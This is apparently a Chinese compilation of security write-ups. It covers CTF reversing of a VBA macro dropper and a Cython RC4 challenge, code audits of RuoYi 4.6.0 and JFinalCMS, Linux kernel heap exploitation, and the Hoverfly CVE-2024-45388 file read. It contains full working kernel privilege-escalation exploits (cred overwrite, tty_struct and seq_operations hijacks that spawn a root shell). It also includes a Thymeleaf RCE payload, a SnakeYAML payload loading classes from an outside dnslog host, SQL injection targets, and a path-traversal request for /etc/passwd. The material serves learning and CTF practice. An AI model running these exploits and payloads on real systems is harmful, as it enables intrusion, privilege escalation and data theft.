逆向分析Office VBS宏类型文档
该题目贴合实际,在实战中经常遇到此类宏病毒。
将Office文档中嵌入以VBA(Visual Basic forApplications)编写的宏代码脚本,当运行Office文档时,便可以执行各种命令。
VBA脚本文件重定向能够将脚本默认文件vbaProject.bin进行替换,在打开文本时加载其他文件,增加分析者的分析复杂程度。
1、初步分析
在 Office 2007 之后的 Office 文档格式采用的是 OOXML 标准格式。那什么是OOXML 标准?这里的 OOXML 的全称是 Office Open XML File Formats或被称为 OpenXML 格式,这是一个基于 zip+xml定义的文档格式。简单的说就是Office文档是一些xml文档压缩文件,因此我们将一个word文档进行zip解压,可以获得一些xml文件
打开发现是一堆乱码,此时就需要借助大佬们的工具了。
2、oletools
oletools对该文件进行分析,oletools将宏源码完整的还原了出来。
官网:https://github.com/decalage2/oletools/releases
这里采用pip安装模式
pip install -U oletools
运行命令
olevba -c protected_secret.docm > code.vbs
3、分析vbs代码
直接搜索:AutoOpen
里面有太多垃圾代码了
首先将输入的flag异或7
有点意思了,解码exe的base64编码,然后运行exe执行操作,最后再删除exe程序
4、运行Vbs得到exe
将重要的代码拿出来,然后生成exe
Set fso = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")
/*
省略了一大堆 base64赋值串
*/
tempPath = "D:\temp11\temp"
Set tempfile = fso.CreateTextFile(tempPath, True)
fso.GetFile(tempPath).Attributes = 2
tempfile.WriteLine xpkdb
tempfile.Close
batPath = "D:\temp11\temp.bat"
Set batFile = fso.CreateTextFile(batPath, True)
fso.GetFile(batPath).Attributes = 2
batFile.WriteLine "@echo off"
batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"
batFile.Close
Set objExec = objShell.Exec(batPath)
保存为vbs运行,但是我电脑有点小问题没跑运行起来
因此我们采取另一种方法,直接将base64提取出来
代码很简单,将提取出来的代码放进Cyberchef进行提取即可
assets/download-20240908163140-1jiyyj2.exe5、分析exe
很简单的代码,就是位移
6、解密
v9 = [0]*54
v9[0] = 4288
v9[1] = 4480
v9[2] = 5376
v9[3] = 4352
v9[4] = 5312
v9[5] = 4160
v9[6] = 7936
v9[7] = 5184
v9[8] = 6464
v9[9] = 6528
v9[10] = 5632
v9[11] = 3456
v9[12] = 7424
v9[13] = 5632
v9[14] = 6336
v9[15] = 6528
v9[16] = 6720
v9[17] = 6144
v9[18] = 6272
v9[19] = 7488
v9[20] = 6656
v9[21] = 7296
v9[22] = 7424
v9[23] = 2432
v9[24] = 2432
v9[25] = 2432
v9[26] = 5632
v9[27] = 4416
v9[28] = 3456
v9[29] = 7168
v9[30] = 6528
v9[31] = 7488
v9[32] = 6272
v9[33] = 5632
v9[34] = 3520
v9[35] = 6208
v9[36] = 5632
v9[37] = 4736
v9[38] = 6528
v9[39] = 6400
v9[40] = 7488
v9[41] = 3520
v9[42] = 5632
v9[43] = 5184
v9[44] = 3456
v9[45] = 7488
v9[46] = 7296
v9[47] = 3200
v9[48] = 6272
v9[49] = 7424
v9[50] = 2432
v9[51] = 2432
v9[52] = 2432
v9[53] = 7808
flag = ''
for i in range(54):
flag += chr(v9[i] >> 6 ^ 7)
print(flag)
CPython逆向实战分析
Python代码转换为C代码的时候,将会大大增加框架代码量。
https://moonlet.gitbooks.io/cython-document-zh_cn/content/ch1-basic_tutorial.html1、正向py->c
先有正向,再有逆向
pip install cython
写一个简单的pyx文件
.pyx 文件是由 Cython 编程语言 "编写" 而成的 Python 扩展模块源代码文件
print("hello")
写一个 setup.py文件
from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("test.pyx")
)
使用命令开始编译
python setup.py build_ext --inplace
生成如下文件
打开test.c发现有几千行代码
单纯的一行python代码,生成为c代码就几千行
调用so文件
2、逆向分析
2.1 字符串类型
_Pyx_CreateStringTabAndInitStrings
全局字符串赋值一般在_Pyx_CreateStringTabAndInitStrings 中,该函数中使用的字符串定义数组形如:
typedef struct {
PyObject **p;
const char *s;
const Py_ssize_t n;
const char* encoding;
const char is_unicode;
const char is_str;
const char intern;
} __Pyx_StringTabEntry;
而字符串是通过__Pyx_StringTabEntry 的数组进行初始化的,也就是说当我们在该函数中看到以下伪代码时:
v8 = _mm_unpacklo_epi64(&qword_28A98, "AttributeError");
v9 = 15LL;
v10 = 0LL;
v11 = 0x100;
v12 = 1;
就代表这是一个{&qword_28A98, "AttributeError", 15, 0, 1, 0, 1} 的__Pyx_StringTabEntry ,也就是说qword_28A98 中将要初始化一个内容是"AttributeError" 的字符串对象的地址,在后续调用中,调用到AttributeError字符串的地方都会用&qword_28A98 指代
2.2 整数类型
_pyx_pymod_exec_chal
qword_29170 = PyLong_FromLong(113LL, v9, v244, v245);
if ( qword_29170 )
qword_29170 中将存储一个值为113 的整数类型的Python对象。
qword_29600 = PyLong_FromString("2654435769", 0LL, 0LL);
if ( qword_29600 )
大数会用PyLong_FromString 函数来初始化,这里qword_29600 中将存储一个值为2654435769 的整数类型的Python对象,后续用到2654435769的地方将使用qword_29600 。
2.3 import写法
v539 = _Pyx_ImportDottedModule_constprop_0(random);
if ( PyDict_SetItem(_pyx_mstate_global_static, random, v539) < 0 )
{
导入``random``模块,同``import random
3、实战分析
这里提供一道自己出的题目,采用了RC4加密,流程很简单。
让我们开干
把提供的so文件拖进IDA中
而且这个函数 _Pyx_CreateStringTabAndInitStrings() 非常大,不能反编译
目前不知道这个函数的加密,我们先打印其相关的属性,看看能不能找到蛛丝马迹
import test
dir(test)
发现是RC4加密,这样逻辑就清晰了
所以现在的目标是获得RC4的秘钥和密文咯,假设RC4没有魔改
刚才我们在函数_Pyx_CreateStringTabAndInitStrings 找到了非常类似密文的值
9d7422eabf8baf369c09121f02e940099d9c6b538d88e30aac08
但是没有找到 秘钥,说明秘钥可能就不是字符串,而是byte类型!
我们先搜索RC4相关函数
发现代码非常多,暂时先不去分析RC4算法
看看哪里调用了我们的RC4算法
函数:_pyx_pymod_exec_test
但是byte类型怎么初始化呢?
我们编写一个demo,然后反编译去查看初始化方式即可
demo.pyx
key = b'mykekekeke'
en_flag = b'12312312312312'
demo_setup.pyx
from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("demo.pyx")
)
运行命令
python demo_setup.py build_ext --inplace
先看看c文件
还是很清晰的,直接IDA分析so文件
发现byte类型也存储在函数_Pyx_CreateStringTabAndInitStrings
所以我们再翻阅一下,成功找到类似key的代码
DASCTF{cpython_is_so_easy}
若依 RuoYi4.6.0 代码审计
环境布置:
到官网下载源码:https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库,5.7版本。JDK1.8。
IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。
导入:quartz.sql与ry_20201214.sql文件。
运行RuoYiApplication文件。
访问后台:http://localhost:25001/login
Sql注入漏洞:
由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${
定位到可疑参数:
根据id值selectRoleList全局搜索,从xml定位到dao层:
右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:
如下,定位到controller层:
分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。
此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。
于是我们现在需要分析
1:role对象在接收它的参数时是否有过滤,
2:selectRoleList方法在处理role接收后的值是否有过滤。
跟进SysRole类,发现无过滤:
跟进selectRoleList方法,发现无过滤:
于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。
发现不存在dataScope参数,手动添加:
将localhost换成主机IP,放入sqlmap验证
Shiro反序列化:
首先查看项目pom文件,发现shiro版本为1.7.0:
全局搜索cipherKey,定位到密钥值:
由此结合shiro反序列化利用工具利用。
Shiro未授权访问:
查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不需要登录就能访问。authc为登录拦截器,需要登录认证才能访问。
Thymeleaf模板注入:
本框架采用了 Thymeleaf 模板,全局搜索::
根据Mapping构造路径,发送poc
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
计划任务RCE:
如图添加计划任务
将调用目标字符修改如下:
org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')
调用执行:
dnslog出现响应:
任意文件下载漏洞:
继续如上创建定时任务:
ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')
执行后访问如下路径实现文件下载:
/common/download/resource?resource=.zip
跟踪下载路径定位代码:
该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。
于是跟进checkAllowDownload方法:
发现该方法主要做了两件事:
1:禁止掉resource中的目录穿越../
2:以白名单形式检查文件下载规则
这里主要跟进一下2的代码:
取点后缀:
再以点后缀进行白名单匹配:
如果在原controller层if判断为假,进入下载文件代码流程:
至此可发现下载文件的路径不可控,且类型存在白名单限制!
此时我们继续跟进本地资源路径的代码:
我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:
之后即可调用/common/download/resource接口任意下载文件。
Linux kernel 堆溢出利用方法
前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述
Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:
分配:
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
释放:
将对应的连续内存页释放到对应的链表上。
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub allocator
slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。
分配:
首先从 kmem_cache_cpu 上取对象,若有则直接返回。
若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
释放:
若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。
heap_bof
题目分析
题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations bof_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static int bof_init(void) {
//设备号
dev_t devno = MKDEV(bof_major, 0);
int result;
if (bof_major)//静态分配设备号
result = register_chrdev_region(devno, 1, "bof");
else {//动态分配设备号
result = alloc_chrdev_region(&devno, 0, 1, "bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %d\n", bof_major);
if (result < 0) return result;
bof_class = class_create(THIS_MODULE, "bof");
device_create(bof_class, NULL, devno, NULL, "bof");
cdev_init(&cdev, &bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
return 0;
}
static void bof_exit(void) {
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major, 0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major, 0), 1);
printk("bof exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep和smap。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
kernel Use After Free
利用思路
cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, BOF_MALLOC, &p);
ioctl(fd, BOF_FREE, &p);
int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, BOF_EDIT, &p); // 修改用户ID
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。
// kernel version == 4.4.72
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
heap overflow
溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。
利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 让驱动分配 0x40 个 0xa8 的内存块
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
}
tty_struct 劫持
boot.sh
这道题gadget较少,我们就关了smep保护。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
const struct tty_operations *ops;
...
}
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
使用 tty 设备的前提是挂载了 ptmx 设备。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;
void get_shell()
{
system("/bin/sh");
}
unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
void get_root() {
// 通过栈上残留地址来绕过 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -= 0xffffffff814f604f;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
int main(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
get_root
};
// len buf idx
struct param p = {0x2e0, malloc(0x2e0), 0};
printf("[*]p_addr==>%p\n", &p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len = 0x2e0;
ioctl(bof_fd, BOF_MALLOC, &p);
memset(p.buf, '\xff', 0x2e0);
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(bof_fd, BOF_FREE, &p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
*(size_t *)&p.buf[0x18] = &fake_tty_ops;
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(ptmx_fd, 0, 0);
return 0;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx;// 表示 ptr 数组的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
// 通过栈上的残留值绕过KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, BOF_MALLOC, &p);
}
memset(p.buf, '\xff', p.len);
ioctl(bof_fd, BOF_EDIT, &p);
// 大量喷洒 seq_ops 结构体。
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT, &p);
puts("[*] Heap overflow finished.");
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
JFinalcms代码审计
JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。
环境布置:IDEA打开项目,等待maven加载好。
使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据库。
修改pom文件:
使用local9.0.90TOMCAT,JDK环境1.8。
运行TOMCAT,打开后台:
http://localhost:8081/cms_war_exploded/反射xss:
搜索/admin/login定位到代码块:
由上可见,通过getPara获取账号密码后再通过render渲染到前端页面:
再分析前端代码构造xss进行闭合:
存储xss:
前台存在留言功能,留言会被管理员审核:
登录后台,点击扩展管理,留言信息:
原理同上。
Sql注入漏洞(1):
该CMS存在很多处sql注入漏洞,大多数都是以+直接拼接sql注入语句造成,可以全局搜索+号寻找注入点。
找到以上代码块,可以直接看到title参数通过+直接拼接进入sql语句执行,于是我们继续找前端是调用的什么接口,并看看是否在接受参数时进行了过滤。
搜索findPage参数:
可以看到Contentcontroller层中存在title参数,点进去,定位到具体代码块:
可以看到调用了getPara方法获取传入的title参数,继续跟进getPara方法:
并未重写该方法,只是简单获取参数,未进行任何过滤,回到原来的controller层,向上翻,找到接口调用,数据包如下:
POST /cms_war/admin/content/data HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0)
Gecko/20100101 Firefox/130.0
Accept: text/html, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost:8081
Connection: keep-alive
Referer: http://localhost:8081/cms_war/admin/content
Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA;
listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
categoryId=&title=%E7%BD%91&sorts=&pageNumber=1
将localhost替换为物理机IP放入sqlmap:
证明存在sql注入漏洞,其对应前端功能如下:
Sql注入漏洞(2):
前台搜索框处也存在sql注入漏洞,只不过此处的调用过程较难找到。
如上图搜索关键字search定位到代码块:
仔细分析如上代码,我无法追踪keyword的具体调用。
以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。
于是再换一种思路,直接全局搜索keyword:
定位到具体代码,但无法确定是否是调用的此处findPage代码来构造sql。
搜索findPage也没有明确思路。
于是改变思路,由于keyword关键字最终是通过模板template渲染调用。
于是在template处挨个点进去找类似功能代码:
最终定位到代码块:
根据注释明确此处代码是根据不同关键词进行搜索,包含关键词keyword,继续查看keyword调用链:
确定是通过调用findPage,传入keyword参数来调用数据:
用sqlmap验证keyword参数:
任意文件读取:
翻找controller层代码,找到文件下载代码块:
可见未对传入的fileKey参数进行过滤,直接拼接进行文件读取。
(且我在翻找filter过滤器后,发现似乎 并未对该路径进行权限校验,可进行未授权调用接口)
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现
构造数据包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
PUT /api/v2/simulation HTTP/1.1
